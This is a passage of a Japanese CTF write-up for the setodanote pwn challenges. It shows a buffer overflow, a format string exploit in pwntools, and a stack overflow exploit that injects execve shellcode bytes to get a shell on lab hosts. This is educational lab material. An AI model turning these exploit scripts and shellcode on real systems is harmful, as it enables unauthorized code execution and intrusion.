        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

フラグが得られる条件として、gateopen になっていればよい。変数の宣言順が gatename となっているため、メモリ上では name の変数の後ろに gate の変数が展開されている可能性が高い。

また、name が16バイト分のバッファーなのに対し、scanf で32バイトまで受け付けているため、バッファーオーバーフローの脆弱性がある。

何度か試してみたところ、26文字入れた後に open とするとフラグが得られた。

user@33ab04f6ba2b:~$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> 12345678901234567890123456open

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

flag{Alohomora}

[200pts] 1989 (81 solves)

脆弱性を調査し、フラグを入手してください。

nc 10.1.1.10 13030

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

回答

Webshell で指定された接続先へアクセスすると、以下のようになった。

user@33ab04f6ba2b:~$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56593060] >> flag is here << 
        | 

Ready > 

CWE-134 というバナーが見える。検索すると 書式文字列の問題 がヒットすることから、Format String Bug があると考えられる。またフラグのアドレスらしきものが与えられている。

試しに abcd と入力した後、%p を大量に入力すると、下記のようになった。

Ready > abcd %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Your Inpur : abcd 0xffa7a5a0 0xffa7a9a8 0x56590306 0x64636261 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025

0xXXXXXXXX という形で表示されたことから、FSB がある。また abcd は 32bit 環境では 0x64636261 となるが、それが4番目に表れていることが分かる。

これらよりフラグのアドレスの値を入力した後、 %4$s としてアドレスの値を文字列をして出力させればフラグを得られそうである。

from pwn import *

p = remote('10.1.1.10', 13030)

p.recvuntil(b'[')
flag = int(p.recvuntil(b']')[2:-1].decode(), 16)
log.info(f'flag: {flag:#x}')

payload = p32(flag)
payload += b' %4$s'

p.sendlineafter(b'> ', payload)
p.interactive()

flag{Homenum_Revelio_1989}

[300pts] Shellcode (51 solves)

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13050

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

回答

添付ファイルを解凍すると、shellcode が得られる。各種情報は以下の通り。

$ file shellcode
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped

$ checksec shellcode
[*] '/home/ubuntu/ctf/setodanoteCTF/pwn/shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

NX bit が無効化されていることから、シェルコードが実行できる。また、実行時の様子は以下の通り。

$ ./shellcode
       |
target | [0x7ffe0be513c0]
       |
Well. Ready for the shellcode?
> aaa
aaa

何やら target というアドレスをプレゼントしてくれる。Ghidra で確認したところ、これは入力を受け取るスタック上のバッファーのアドレスだと分かった。またスタックバッファーオーバーフローもあり、リターンアドレスの書き換えができることも分かった。

方針としては、target にシェルコードを書き込み、スタックバッファーオーバーフローでリターンアドレスを target に書き換えればシェルが取れるはずなので、そのようにエクスプロイトを書く。

from pwn import *

p = remote('10.1.1.10', 13050)

p.recvuntil(b'[')
target = int(p.recvuntil(b']')[2:-1].decode(), 16)

log.info(f'target: {target:#x}')

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode += b'\x90'*(80-len(shellcode)+8)
shellcode += p64(target)

p.sendlineafter(b'> ', shellcode)
p.interactive()

実行するとシェルは取れたが、フラグファイルが見つからなかった。find コマンドで探した。

$ pwd
/
$ find / -name 'flag*' 2>/dev/null
/home/user/flag
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
(snip)
$ cat /home/user/flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

感想

全体的に問題の質が高く、フラグの設定が難しい問題も、ちゃんと一意になるように明記されていて、余計なストレスを感じずに楽しめました。個人的には OSINT や Forensics は普段あまり解かないので、勉強になる問題が多かったです。(正直常設化してほしいくらい。)

またある程度歯ごたえのある問題も多くて非常に楽しかったです。開催期間が十分にあるので、周りにおすすめしやすいところも良かったと思います。

運営、本当にお疲れさまでした。楽しい時間をありがとうございました。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?